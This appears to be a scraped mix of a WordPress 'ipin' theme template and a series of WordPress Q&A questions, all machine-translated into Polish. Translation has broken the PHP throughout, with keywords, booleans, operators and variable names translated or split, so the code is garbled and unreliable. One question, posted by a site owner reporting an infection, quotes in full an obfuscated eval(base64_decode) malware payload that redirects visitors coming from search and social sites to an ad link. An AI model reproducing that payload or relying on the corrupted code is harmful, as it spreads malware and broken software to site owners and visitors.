<?php _e('Pin z', 'ipin') ?> <a href="http://<?php echo $źródło; ?>" target="_blank"><?php echo $źródło; ?>

 <?php $pnum = intval($_GET['pnum']) ? $_GET['pnum'] : 1; $args = array( 'meta_key' => '_Domena źródłowa zdjęcia', 'meta_value' => $źródło, 'paged' => $pnum ); zapytanie_posty($args); $maxpage = $wp_query->max_num_pages; ?>

 <?php $count_ad = 1; if (have_posts()) : while (have_posts()) : the_post(); ?> <?php if (of_get_option('frontpage1_ad') == $count_ad && of_get_option('frontpage1_ad_code') != '' && ($pnum == 1 || of_get_option('infinitescroll') == 'wyłącz')) { ?>

 <?php eval('?>' . of_get_option('frontpage1_ad_code')); ?>

 <?php } ?> <?php if (of_get_option('frontpage2_ad') == $count_ad && of_get_option('frontpage2_ad_code') != '' && ($pnum == 1 | | of_get_option('infinitescroll') == 'wyłącz')) { ?>

 <?php eval('?>' . of_get_option('frontpage2_ad_code' )); ?>

 <?php } ?> <?php if (of_get_option('frontpage3_ad') == $count_ad && of_get_option('frontpage3_ad_code') != '' && ($pnum == 1 | | of_get_option('infinitescroll') == 'wyłącz')) { ?>

 <?php eval('?>' . of_get_option('frontpage3_ad_code' )); ?>

 <?php } ?> <?php if (of_get_option('frontpage4_ad') == $count_ad && of_get_option('frontpage4_ad_code') != '' && ($paged == 0 || $paged == 1 || of_get_option('infinitescroll') == 'wyłącz')) { ?>

 <?php eval('?>' . of_get_option('frontpage4_ad_code')); ?>

 <?php } ?> <?php if (of_get_option('frontpage5_ad') == $count_ad && of_get_option('frontpage5_ad_code') != '' && ($paged == 0 | | $paged == 1 || of_get_option('infinitescroll') == 'wyłącz')) { ?>

 <?php eval('?> ' . of_get_option('frontpage5_ad_code')); ?>

 <?php } ?> <div id="post-<?php the_ID(); ?>" <?php post_class('kciuk'); ?>>

 <?php if (current_user_can('administrator') || current_user_can('editor') || current_user_can('autor') || !is_user_logged_in()) { ?> <a class="ipin-repin btn btn -mini" data-post_id="<?php echo $post->ID ?>" href="#"> <?php _e('Repin', ' ipin'); ?> <?php } ?> <?php if ($post->post_author != $user_ID) { ?> <button class="ipin-like btn btn-mini<?php if (ipin_liked($post->ID)) { echo ' wyłączone'; } ?>" data-post_id="<?php echo $post->ID ?>" data-post_author="<?php echo $post->post_author; ?>" type="button"> <?php _e('Lubię to', 'ipin'); ?></button> <?php } else { ? > <a class="btn btn-mini" href="<?php echo home_url('/pins-settings/'); ?>?i=<?php the_ID(); ?>"><?php _e('Edytuj', 'ipin'); ?> <?php } ?> <a class="ipin-coment btn btn-mini" href="<?php the_permalink(); ?>#respond" data-post_id="<?php echo $post->ID ?>"> <?php _e('Komentarz', 'ipin') ?>
 <a class="polecany-link-kciuk" href="<?php the_permalink(); ?>"> <?php if (of_get_option('price_currency') != '') { remove_filter('the_title', 'ipin_the_title'); $title_unfiltered = get_the_title(); preg_match_all('/\$[0-9, ]+(?:\.[0-9]{2})?/', $title_unfiltered, $match); add_filter( 'the_title', 'ipin_the_title'); if ($match[0]) { ?>

<?php echo str_replace('$', of_get_option('price_currency'), array_pop($match[0])); ?>

 <?php} } ?> <?php //if to wideo z youtube lub vimeo $photo_source = get_post_meta($post->ID, "_Photo Source", true); if (preg_match('%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|. *[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', str_replace('&', '&', $photo_source), $match) || (strpos(parse_url($photo_source, PHP_URL_HOST), 'vimeo.com') !== FAŁSZ && sscanf(parse_url($photo_source, PHP_URL_PATH), '/%d', $video_id))) { ?>

 <?php } ?> <?php $imgsrc = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID),'medium'); if ($imgsrc[0] == ' ') { $imgsrc[0] = get_template_directory_uri() . '/img/blank.gif';} //jeśli jest animowany gif $animated_gif = false; if (substr($imgsrc[0], -4) == '.gif' && get_post_meta(get_post_thumbnail_id($post->ID), 'a_gif', true) == 'yes') { $animated_gif = true; $animated_gif_imgsrc_full = wp_get_attachment_image_src(get_post_thumbnail_id($post->ID), 'full'); echo '

'; } ?> <img class="featured-thumb<?php if ($animated_gif) echo ' polecany-thumb-gif-class" data-animated-gif-src-medium="' . $imgsrc[0] . '" data-animated-gif-src-full="' . $animated_gif_imgsrc_full[0]; ?>" src="<?php echo $imgsrc[0]; ?>" alt="<?php atrybut_tytułu(); ?> " style="szerokość:<?php echo $imgsrc[1] ?>px;wysokość:<?php echo $imgsrc[2] ?>px" />  <div class="tytuł-postu" data-title="<?php esc_attr_e($title_unfiltered); ?>"> <?php $post_title_strip_tags = get_the_title(); if (of_get_option('posttags') == 'enable') { $post_title_strip_tags = preg_replace('/tags\[(.*?)\]/', '', get_the_title(), 1); } echo mb_strimwidth(strip_tags($post_title_strip_tags), 0, 255, '...'); $posttags = get_the_tags(); if ($posttags) { echo '

'; foreach($posttags as $tag) { echo 'term_id). '">' . $tag->nazwa . ' '; } echo '
'; } ?>

<?php $liczba_polubień = get_post_meta($post->ID, '_Liczba polubień', prawda); $repins_number = get_post_meta($post->ID, '_Repin Count', true); $comments_number = get_comments_number(); ?>
 <?php if ($likes_number == '' || $likes_number == '0') { echo 'ID . '" class="liczba-polubień ukryj">'; } elseif ($likes_number == '1') { echo 'ID . '" class="likes-count">1' . __('lubię', 'ipin') . ''; } else { echo 'ID . '" class="likes-count">' . $liczba_polubień . ' ' . __('lubi', 'ipin') . ''; } if ($comments_number == '0') {echo 'ID . '" class="comments-count hide">'; } elseif ($comments_number == '1') { echo 'ID . '" class="comments-count">1' . __('komentarz', 'ipin') . ''; } else { echo 'ID . '" class="comments-count">' . $comments_number . ' ' . __('komentarze', 'ipin') . ''; } if ($repins_number == '' || $repins_number == '0') { echo 'ID . '" class="repins-count hide"> '; } elseif ($repins_number == '1') { echo 'ID . '" class="repins-count">1' . __('repin', 'ipin') . ''; } else { echo 'ID . '" class="repins-count">'. $repins_number . ' ' . __('repin', 'ipin') . ''; } ?>

 <?php if (current_user_can('administrator') || current_user_can('redaktor') || current_user_can('autor') || !is_user_logged_in ()) { ?> <a class="ipin-repin btn btn-small" data-post_id="<?php echo $post->ID ?>" href="#"><?php _e('Repin' , „ipin”); ?> <?php } ?> <?php if ($post->post_author != $user_ID) { ?> <button class="ipin-like btn btn-small<?php if(ipin_liked($ post->ID)) { echo 'wyłączony'; } ?>" data-post_id="<?php echo $post->ID ?>" data-post_author="<?php echo $post->post_author; ?> " type="przycisk"><?php _e('Lubię', 'ipin'); ?></button> <?php } else { ?> <a class="btn btn-small" href="<?php echo home_url('/pins-settings/'); ?>?i=<?php the_ID(); ?>"><?php _e('Edytuj', 'ipin'); ?> <?php } ?> <a class="ipin-comment btn btn-small" href="<?php the_permalink(); ?>#respond" data-post_id="<?php echo $ post->ID ?>"><?php _e('Komentarz', 'ipin'); ?>

<a href="<?php echo home_url('/' . $wp_rewrite- > baza_autora .'/') .get_the_author_meta('user_nicename'); ?>/"><?php echo get_avatar(get_the_author_meta('ID'), '30'); ?>

 <?php the_author_posts_link(); ?> <?php $original_post_id = get_post_meta($post->ID, "_Original Post ID", prawda); if ($original_post_id != '' && $original_post_id != 'usunięty') { $original_postdata = get_post($original_post_id, 'ARRAY_A'); $original_author = get_user_by('id', $original_postdata['post_author']); ?> <?php _e('przez', 'ipin'); ?> <a href="<?php echo home_url('/' . $wp_rewrite->autor_base . '/') . $original_author->user_nicename; ?>/"><?php echo $original_author-> wyświetlana nazwa; ?> <?php } if ($board_info = get_the_terms($post->ID, 'board')) { _e('onto', 'ipin'); foreach ($board_info as $board) { ?> <a href="<?php echo home_url('/board/'); ?><?php echo $board->term_id ?>/"><?php echo $board->name; ?> <?php }} ?>

 <?php if ('0' != $frontpage_comments_number = of_get_option('frontpage_comments_number')) { ?> <div id="masonry-meta-comment-wrapper-<?php echo $post->ID; ?>"> <?php if ($comments_number > $frontpage_comments_number) { $offset = $comments_number - $frontpage_comments_number; } else { $przesunięcie = 0; } $args = array( 'number' => $frontpage_comments_number, 'post_id' => $post->ID, 'order' => 'asc', 'offset' => $offset, 'status' => 'approve' ); $komentarze = get_comments($args); foreach($komentarze jako $komentarz) {?>
 <?php $comment_author = get_user_by('id', $comment->user_id); ?>
 <?php if ($comment_author) { ?> <a href="<?php echo home_url('/' . $wp_rewrite->author_base . '/') $comment_author->nazwa_użytkownika; ?>/"> <?php } ?> <?php echo get_avatar($comment->identyfikator_użytkownika, '30'); ?> <?php if ($comment_author) { ?>  <?php } ?>

  <?php if ($comment_author) { ?><a href="<?php echo home_url('/' . $wp_rewrite->autor_base . '/') . $comment_author->user_nicename; ?>/">< ?php } ?><?phpecho $comment->comment_author; ?><?php if ($comment_author) { ?><?php } ?>  <?php echo $comment->comment_content ; ?>

 <?php } ?>
 <?php } if (is_user_logged_in()) { ?> <div id="masonry-meta-commentform-<? php echo $post->ID ?>" class="masonry-meta hide">
<?php echo get_avatar($user_ID, '30'); ?>

 <?php $id_form = 'commentform-' . $post->ID; $id_submit = 'prześlij-' . $post->ID; comment_form(array( 'id_form' => $id_form,'id_submit' => $id_submit, 'title_reply' => '', 'cancel_reply_link' => __('X Anuluj odpowiedź', 'ipin'), 'comment_notes_before' => '', 'comment_notes_after' => '', 'logged_in_as' => '', 'label_submit' => __('Opublikuj komentarz', 'ipin'), 'comment_field' => '<textarea placeholder="' .__('Dodaj komentarz...', ' ipin') '" id="komentarz" nazwa="komentarz" aria-required="true"></textarea>' )); ?>

 <?php } ?>
 <?php $count_ad++; koniec; else : ?>

<?php _e('Nic jeszcze...', 'ipin') ; ?>

 <?php endif; wp_reset_query(); ?>
 <?php if ($maxpage != 0) { ?>

 <?php if ($pnum != 1 && $maxpage > = $pnum) { ?>
 <a href="<?php $permalink = get_permalink(); if (substr($permalink,-1) == '/') { $ permalink = substr($permalink,0,-1); } echo $permalink . '/' . $źródło . '?pnum=' . ($pnum-1); ?>"><?php _e('« Poprzedni ', 'ipin') ?>
 <?php } ?> <?php if ($maxpage != 1 && $maxpage != $pnum) { ?>
 <a href="<?php $permalink = get_permalink(); if (substr($permalink,-1) == '/') { $permalink = substr($permalink,0,-1); } echo $permalink . '/' . $source . '?pnum=' . ($pnum+1); ?>"><?php _e('Next »', 'ipin') ?>
 <?php } ?>

 <?php } ?>

<?php _e('Góra', 'ipin'); ?>

 <?php get_footer(); ?>


title: Usuwanie domyślnej kategorii w wordpressie

text: Szukam sposobu na usunięcie domyślnej funkcji kategorii w wordpressie, ale po usunięciu domyślnej kategorii w tabeli `wp_terms` w bazie mysql, automatycznie przypisuje domyślną kategorię do innej kategorii. Czy ktoś wie, jak to osiągnąć? Dziękuję za wszelką pomoc.


title: Jak poprosić o logowanie dla użytkownika, ale nie dla botów?

text: Zastanawiam się, jak nie prosić botów, takich jak robot Google lub roboty Bing o zalogowanie się, ponieważ mogą indeksować moje informacje o wpisie, ale wymagają od użytkownika zalogowania się, jeśli chcą zobaczyć posty? Wiem już, jak przekierować użytkownika na stronę logowania, ale nie wiem, jak wykluczyć roboty indeksujące! funkcja wpse_41699_wp(){ if( is_page('Zaloguj się')||is_page('rejestr')||is_page('Blog')||is_page('blog'){ return; }else{ if(!is_user_logged_in()){ $url = get_bloginfo('home').'/login';//Należy podać lokalizację ACW-login header('HTTP/1.1 403 Forbidden'); header("Lokalizacja: $url"); Wyjście; }         }     }      Dziękuję! **A może jest na to lepszy sposób?**


title: Powiadom o nowym wpisie na stronie

text: Czy istnieje sposób powiadamiania na stronie pulpitu nawigacyjnego o nowych postach? Czy jest to możliwe tylko z hakiem `wp_mail();`? Dziękuję. Kacper


title: Czy mogę dodawać strony do mojego niestandardowego menu za pomocą skryptu?

text: Mój motyw ma niestandardowe przypisanie menu... function my_register_my_menus() { register_nav_menus( array('header-menu' => __( 'Niestandardowe menu nagłówka' ) ) ); } ...i tworzę wtyczkę typu "instalator", którą po aktywacji chciałbym podłączyć do tego niestandardowego menu i przypisać do niego niektóre strony tak, jakby zostały utworzone ręcznie. Jednak interfejs API menu jest całkiem nowy i do tej pory nie mogłem znaleźć żadnych przykładów, jak to zrobić. Mam nadzieję, że ktoś tutaj poda mi wskazówki, przykłady lub informacje, jak to zrobić. Z góry dziękuję :-)


title: Jak mogę powiedzieć WP, który plik ma ładować domyślnie w Wygląd> Edytor?

text: Kiedy przechodzę do... Wygląd > Edytor > Edytuj motywy Domyślnym plikiem, który jest ładowany, jest mój plik options.css (który nie powinien być edytowany przez nikogo, ponieważ stylizuje panel opcji motywu, a nie sam motyw). czy mogę określić, który plik zostanie tam załadowany? Idealnie chciałbym, aby bieżący arkusz stylów mojego motywu był tam załadowany. Czy istnieje sposób, w jaki mogę to określić w skrypcie z functions.php?


title: Utworzyć nową instancję sieci, zaimportować stare pojedyncze instalacje ORAZ zachować adresy URL?

text: Mam dwie instalacje Wordpress na example.com/blog example.com/otherblog Chcę zainstalować WP w katalogu głównym i mieć sieć, ale zachować adresy URL. Jestem pewien, że mogę zainstalować WP, wyeksportować pojedyncze instalacje i zaimportować je do sieci. Moje pytanie brzmi: czy mogę to wszystko zrobić i zachować adresy URL? Czy stary może działać jednocześnie z nową witryną sieciową, zanim zostanie zaimportowany, więc nie muszę importować obu jednocześnie? Tj. czy mogę uruchomić example.com/blog pod multisite, podczas gdy example.com/otherblog na własnej instalacji? Jeśli _jest_ to możliwe, jakie kroki muszę podjąć poza całą działalnością importową/eksportową?


title: „Wtyczka nie mogła zostać aktywowana, ponieważ wywołała błąd krytyczny”.

text: Poniższy kod jest zawarty w pliku wtyczki. Po prostu stara się wykonać zapytanie aktualizacyjne w bazie danych wp. Jednak generuje błąd krytyczny. Błąd krytyczny: nie można ponownie zadeklarować ce3_cleanup() Czy muszę załadować plik konfiguracyjny, aby uzyskać dostęp do $wpdb->query? function ce3_cleanup() { $wpdb->query("update wp_postmeta set meta_key=replace(meta_key,'cb2_customHeader','_cb2_customHeader') gdzie meta_key jak 'cb2_customHeader'"); $wpdb->query("zaktualizuj zestaw wp_postmeta meta_key=replace(meta_key,'cb2_customTitle','_cb2_customTitle') gdzie meta_key jak 'cb2_customTitle'"); } register_activation_hook(__FILE__, 'ce3_cleanup'); ?>


title: Jak zwrócić the_excerpt (bez echa)?

text: Hej wszystkim, widzę, że get_the_excerpt() powtarza fragment postu, jeśli jest ustawiony ręcznie, ale nie, jeśli jest generowany automatycznie (na przykład tylko z 55 słowami). [i jego użycie jest przestarzałe] the_excerpt() z drugiej strony, odbija się bezpośrednio echem, nie dając mi w zamian ciągu znaków. Czy istnieje funkcja zwracająca fragment postu w Wordpress, w tym automatyczny fragment, jeśli nie został zdefiniowany ręcznie, bez powtarzania go?


title: Jak mogę wyświetlać posty na tydzień w danym miesiącu?

text: _Muszę wyświetlić posty w następujący sposób_ **Wrzesień 2010** _Piątek 24 września 2010_ post1 post2 . . . _Piątek 17 września 2010_ post1 post2 . . . _Piątek 10 września 2010_ post1 post2 . . . _Piątek 03 września 2010_ post1 post2 . . . ** czy ktoś może powiedzieć, jak to zrobić? lub której funkcji powinienem użyć? ** Użyłem następującej funkcji i otrzymałem wszystkie wiadomości w bieżącym miesiącu query_posts("year=$current_year&monthnum=$current_month") Jak czy mogę pokazywać posty na tydzień tego miesiąca? **czy to działa** `query_posts(""year=$current_year&monthnum=$current_month&post_date >$startDate&post_date <=$endDate")` ** Albo jaki jest inny dobry sposób?**


title: Czy jest jakiś sposób, aby wyróżnić tekst, a nie wyróżniony obraz?

text: Chcę, aby polecany tekst był wyświetlany na stronie mojej kategorii, a także wyróżniony obraz. Polecany tekst w ogóle nie może znajdować się w poście (podobnie jak wyróżniony obraz nie znajduje się w poście). Czy ktoś zna wtyczkę, która już to robi? Rozejrzałem się trochę i nie mogę nic znaleźć. Wielkie dzięki.


title: Domyślne uprawnienia instalacji dla wp-config.php

text: Recently I've noticed that many of the wordpress installations we have on our servers where being attacked and ifected by this thing               eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokbmNjdj1oZWFkZXJzX3NlbnQoKTsNCmlmICghJG5jY3Ypew0KJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOw0KJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0c mlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewkJDQoJCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9iaXQubHkvVVlJZFhMIik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9")); Ten złośliwy kod przekieruje użytkowników pochodzących z sieci społecznościowych, takich jak Facebook i Google+, na stronę z reklamą. Analizując pliki w instalacji, odkryliśmy, że `wp-config.php` miał zbyt otwarte uprawnienia (0666). Repozytorium wordpress github pokazuje, że ten problem istnieje od około 2003 roku! Dlaczego plik jest zapisywany z 0666 zamiast 0600? Jest jakaś praktyczna potrzeba?


title: wymuś odświeżenie tabeli kategorii podczas dodawania nowej kategorii

text: Zastanawiam się, czy istnieje stosunkowo proste rozwiązanie tego problemu: dodałem niestandardowe pole do kategorii, które z kolei jest wyświetlane w tabeli po prawej stronie pod własną nazwą kolumny. (zasadniczo jest to pole „ta kategoria jest domyślna”. wszystko działa dobrze podczas edycji kategorii. jednak po dodaniu kategorii z zaznaczonym tym polem (pole wyboru) wszystkie inne kategorie zostaną zaktualizowane do „nie jesteśmy już domyślnymi”. baza danych przechowuje również te nowe wartości zgodnie z wymaganiami. Jednak ponieważ dodanie nowej kategorii jest wywoływane przez ajax, tabela kategorii po prawej stronie nie jest odświeżana, aby odzwierciedlić te nowe ustawienia. (tylko podczas faktycznego odświeżania całej strony można faktycznie widzisz aktualne wartości) pytanie brzmi, czy mogę podłączyć się do haka, który automatycznie wymusza odświeżenie strony po dodaniu nowej kategorii (lub jeszcze lepiej, aby odświeżyć tabelę po prawej stronie), czy też faktycznie uruchomić oddzielne wywołanie ajax, aby uzyskać zaktualizowane wartości i zaktualizować tę tabelę?


title: Jak utworzyć plik szablonu dla strony nadrzędnej niestandardowego typu postu?

text: Po stworzeniu niestandardowego typu posta stworzyłem niestandardowy plik szablonu dla posta (`single-customposttypename.php`). Tak więc struktura adresu URL będzie wyglądać tak: `example.com/page/postname`, a `postname` będzie postem, który renderuje `single-customposttype.php` (to działa dobrze). Ale to, co próbuję uzyskać, to `example.com/PAGE`, aby zapętlić wszystkie posty wygenerowane z tego niestandardowego typu postu na jednej stronie ... co robi, ale jest bez stylu. Próbowałem stworzyć niestandardowy szablon o nazwie `page-customposttypename.php`, ale to nie zadziałało. Wygląda na to, że to powinno być naprawdę proste, ale nie mogę tego rozgryźć. Czy ktoś może wskazać mi właściwy kierunek?


title: Zmień strukturę html wszystkich tagów img w Wordpress

text: Mam bloga Wordpress i próbuję zaimplementować skrypt obrazu foresight.js. Krótko mówiąc, muszę kierować wszystkie obrazy postów, zamienić atrybuty `src, width i height` na atrybuty `data-src, data-width i data-height`. Następnie muszę zduplikować linię obrazu i otoczyć ją znacznikami `<noscript>`. To jest struktura, którą próbuję wygenerować/utworzyć Wordpress:     Przeszukałem kodeks Wordpress i najlepszą możliwą trasą, jaką mogę znaleźć, jest użycie filtrów (tj. _'get_image_tag'_ i _'image_tag'_ ) do modyfikacji html, który Wordpress wyprowadza dla każdego obrazu. Myśląc, że jedna z tych opcji powinna zadziałać, lub że mogę wykonać dopasowanie do wzorca za pomocą wyrażenia regularnego _(wiem, nie jest to idealne)_ , wrzuć `preg_replace` a następnie wstrzyknij to z powrotem do filtra `the_content`. niektóre z tych opcji nie działają. Czy ktoś mógłby zaoferować pomoc? Znalazłem tutaj jedną sugestię, ale nie mogę jej nawet uruchomić! ### Próba „get_image_tag”: _Znalazłem tę konkretną w sieci, alemusiałaby zostać zmodyfikowana, aby pasowała do mojej logiki (patrz wyżej struktura)... nie mogę zrozumieć, co robi tablica `preg_replace`._ <?php function image_tag($html, $id, $alt, $title) { return preg_replace(array( '/'.str_replace('//','\/\/',get_bloginfo('url')).'/i', '/\s+width="\d+ "/i', '/\s+height="\d+"/i', '/alt=""/i' ), array( '', '', '', alt='"' . $tytuł . '"' ), $html); } add_filter('get_image_tag', 'image_tag', 0, 4); ?> ### Kolejna próba 'get_image_tag': <?php funkcja get_image_tag($id, $alt, $title , $align, $size='full') { list($szerokość, $wysokość, $typ, $attr) = getimagesize($img_src); $hwstring = image_hwstring($width, $height); $class = 'align ' . esc_attr($align) . ' size-' . esc_attr($size) . ' wp-image-' . $id; $class = apply_filters('get_image_tag_class', $class, $id, $align, $size) ; $html = ''; $html = apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size); return $html; } ?> ### Dopasowywanie wzorców próba: Próbowałem utworzyć własne wyrażenie regularne na tym, ale nie jestem pewien, czy jest poprawne.<?php function restructure_imgs($content) { global $post; $pattern = "//i"; list($width, $height, $type, $attr) = getimagesize ($2$3,$4$5);$hwstring = image_hwstring($width, $height); $replacement = 'post_title.'" dane -width="'.$szerokość.'" data-height="'.$wysokość.'" class="fs-img"6$>'; $treść = preg_replace($wzór, $zastąpienie, $zawartość); return $content; } add_filter('the_content', 'restructure_imgs'); ?> Niestety nie mogę uruchomić żadnego z tych przykładów. Jakakolwiek pomoc lub udostępnienie wcześniej napisanych skryptów/funkcji będzie mile widziane! ks za pomoc uczniowi w nauce!!


title: Jak mogę uzyskać dostęp do obrazu funkcji posta poza pętlą?

text: Chcę zaktualizować mój tag `<meta property="og:image" content="http://amemoirproject.com/facebook/og-image.png"/>` w nagłówku o obraz funkcji bieżącego posta. Jak mogę to zrobić?


title: Pytanie etyczne: co kwalifikuje się jako widelec?

text: Niedawno natknąłem się na potrzebę posiadania wtyczki WP, która nie istniała, więc zacząłem pracować nad własną wtyczką. Podczas moich poszukiwań znalazłem nieopublikowany (pod względem dostępności na WP.org) kod o długości około 100 linii na czyimś githubie, który został w większości skopiowany i wklejony z samouczka online przez inną osobę i przykłady kodeksu WP. Od tego czasu rozszerzyłem kod do około 1000 linii, przepisałem i zmieniłem markę większości funkcji i zamierzam wkrótce opublikować go na WP.org. Kiedy pierwotnie znalazłem ten kod, po prostu rozwidliłem go na github i przypisałem środkowemu człowiekowi w moim opisie. Byłem zdezorientowany, dlaczego github nie rozpoznawał moich zatwierdzeń jako „aktywność”, dopóki nie znalazłem tej strony, która wyjaśnia, że github nie liczy zatwierdzeń w rozwidleniach, dopóki nie zostanie wycofany z głównej gałęzi. To sprawiło, że pomyślałem o tym, czy kod, nad którym pracowałem, powinien być uważany za „widelec”, czy nie. Ponieważ używałem go głównie jako odniesienia do funkcji, skłaniałem się do myślenia o nim jako nie o widelcu. (Wciąż jednak przypisuję środkowemu człowiekowi w opisie.) Naprawdę przydałoby mi się trochę informacji na temat tej sytuacji, ponieważ po raz pierwszy zacząłem od cudzego kodu i zamierzam opublikować go jako open-source. Myśli? Może na tym, gdzie jest granica między „widelcem” a „oryginalnym kodem”?


title: Wstaw pole z PREG_REPLACE – dziwne zachowanie

text:
Próbuję wstawić pole niestandardowe (z wtyczki Advanced Custom Fields) i muszę umieścić je w div, który owijam wokół img, tuż przed tagiem img. Więc w zasadzie jest to wynik, którego chcę (używam tutaj `the_field('description')`, aby uczynić go czystszym):

 [ zawartość z the_field() ]

 Ale dzieje się tak:
 [ treść z the_field() ]

 Czyli zawartość z pola jest wstawiana na górze zamiast w div, którą umieszczam. Czy to nie jest dość dziwne? Oto mój kod: function wrapImagesInDiv($content) { if ( in_category( 'projekty' )) { $pattern = '/(]*class=\"([^>]*?)\"[^ >]*>)/i'; $replacement = '

 '.the_field('opis').' $1

'; $zawartość = preg_zamień($wzór, $zastąpienie, $zawartość); } return $treść; } add_filter('the_content', 'wrapImagesInDiv');


title: Czy można umieścić hak add-filter() w funkcji?

text: dla mojej wtyczki z wieloma różnymi funkcjami, chcę zrealizować funkcję mail do wysyłania wiadomości HTML. W tym celu muszę dodać filtr-Hook w następujący sposób: function set_content_type($content_type){ return 'text/html'; } i dwa haki filtrów: add_filter('wp_mail_content_type','set_content_type'); remove_filter( 'wp_mail_content_type', 'set_html_content_type' ); Czy mogę umieścić te dwa haczyki w mojej funkcji poczty?


title: Data i godzina nie wyświetlają się poprawnie w qTranslate

text: Użyłem qTranslate, aby włączyć wiele języków na stronie. Działa dobrze, z wyjątkiem daty i godziny dla języka angielskiego. Oto zrzuty ekranu: Serbski: ![serbski](http://i.stack.imgur.com/AVmeB.jpg) Angielski: ![angielski](http://i.stack.imgur.com/KLZRL.jpg) Ustawienia językowe wyglądają tak: ![edycja serbska](http://i.stack.imgur.com/ynHQK.jpg) ![edycja angielska](http://i.stack.imgur.com/BaDa7.jpg) Jak naprawić to?


title: Pomiń wartość jednorazową podczas koszenia wpisu

text: Chcę przenieść post do kosza, ale pod warunkiem, że jednocześnie muszę usunąć kilka postów. Przykładowy kod: jQuery(function($) { $('#delete-action a').unbind(); $('#delete-action a').click(function(event) { event.preventDefault();openbox ('Trash Child Posts', 1); setTimeout( function() { $('#save-action .spinner').hide(); $('#publish').removeClass('button-primary-disabled') ; }, 1 ); }); }); Pojawia się nowe wyskakujące okienko, aby usunąć post podrzędny. var trash_blog = $('div#trash-button'); $("#trash-button").click( function() { TrashBlogs.each(function(){ var allVals = []; $('div#box :checked').each(function() { allVals.push ($(this).val()); }); window.location.replace("post.php?post="+post_id +"&action=trash&_wpnonce=20a76fd1e5&blog_id="+allVals); }); } );` Teraz problem: Jak pominąć wartość nonce podczas wykonywania `window.location`? Po przekierowaniu pojawia się komunikat „Czy na pewno to zrobisz? Spróbuj ponownie”, ponieważ wartość nonce nie jest zgodna.


title: niestandardowy katalog przesyłania tylko do przesyłania wtyczek

text: próbuję dodać filtr upload_dir tylko dla wtyczek-uploads. czy ktoś wie, dlaczego poniższy kod nie działa, a co może działać zamiast tego? Z góry dziękuję! $upload_dir = 'publikacje'; $katalog_wtyczek = WP_CONTENT_DIR ; $plugin_url = WP_CONTENT_URL ; add_filter('upload_dir', 'custom_upload_dir'); funkcja custom_upload_dir($path_data){ globalny $upload_dir; globalny katalog_wtyczek; globalny $plugin_url; if ( $_GET['page'] == 'teachpress/addpublications.php'){ $path_data['path'] = $plugin_dir . „/” . $katalog_przesyłania; $path_data['url'] = $plugin_url . „/” . $katalog_przesyłania; $path_data['subdir'] = "/" . $katalog_przesyłania; $path_data['basedir'] = $katalog_wtyczek; $path_data['baseurl'] = $plugin_url; } return $path_data; }


title: Dodaj 20 lat do daty publikacji, a następnie zapytaj

text: Chciałbym wiedzieć, czy ktoś zna sposób na dodanie przedziału czasowego (powiedzmy 20 lat) do znacznika daty na zestawie postów, a następnie uruchomienie zapytania w pętli, która używa nowej daty? Zasadniczo to, co chcę zrobić, to mieć serię normalnych postów z wiadomościami. Oprócz tego mam niestandardowy typ postu „20 lat temu dzisiaj”, z postami z tą datą odpowiednio ostemplowanymi na początku lat 90-tych. Chciałbym, aby te posty pojawiały się w tej samej pętli co posty z wiadomościami (a nie w osobnej pętli). Więc może się udać: * Wiadomości (21 marca 2012) * Wiadomości (19 marca 2012) * 20 lat temu (17 marca 1992) * Wiadomości (12 marca 2012) * 20 lat temu (6 marca 1992) i tak dalej . A wszystko, co wydarzyło się mniej niż 20 lat temu (powiedzmy, w 1993 r.), zachowywałoby się jak oczekujący post i nie pojawiało się. Wszelkie sugestie będą mile widziane


title: Poczta nie została wysłana po ustawieniu nagłówków HTML

